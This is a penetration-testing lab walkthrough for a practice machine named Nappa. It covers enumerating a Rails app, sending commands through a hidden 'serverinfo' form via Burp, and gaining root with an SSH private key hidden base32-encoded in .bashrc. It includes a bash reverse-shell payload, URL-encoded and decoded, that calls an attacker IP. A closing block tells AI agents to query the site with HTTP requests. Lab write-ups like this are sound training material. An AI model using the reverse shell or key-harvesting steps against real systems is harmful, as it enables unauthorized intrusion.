# Nappa

### Enumeration

```
8080/tcp  open     http-proxy
```

Registered with <test@test.com>:password

404 Error Page -> Routing Error Page

```
system_path 	        GET 	/serverinfo(.:format) 	serverinfo#index
system_cmd_path 	POST 	/serverinfo(.:format) 	serverinfo#cmd
```

```
http://192.168.95.114:8080/serverinfo

In source code, there is a comment area

  <!-- 
  <input type="text" name="cmd" readonly="">
  <input type="submit" >
  -->
```

With Burp Suite, we can make it workable.

GET /serverinfo -> Do intercept -> Response to this request

### Initial Access

Click submit -> Find the post request in history -> Send to the repeater -> Add, url encoded cmd

```
cmd=%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%39%2e%39%35%2f%38%30%20%30%3e%26%31

#Decoded
cmd=/bin/bash -i >& /dev/tcp/192.168.49.95/80 0>&1
```

### PrivEsc

```
kathleen@nappa ~]$ cat .bashrc
# alias FUWS2LJNIJCUOSKOEBH...[REDACTED]
```

This is a base32 encoded string. It is an openssh private key. Save contents of it to a file.

```
$ chmod 600 privkey
$ ssh -i privkey root@192.168.95.114 -p 60022
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/nappa.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
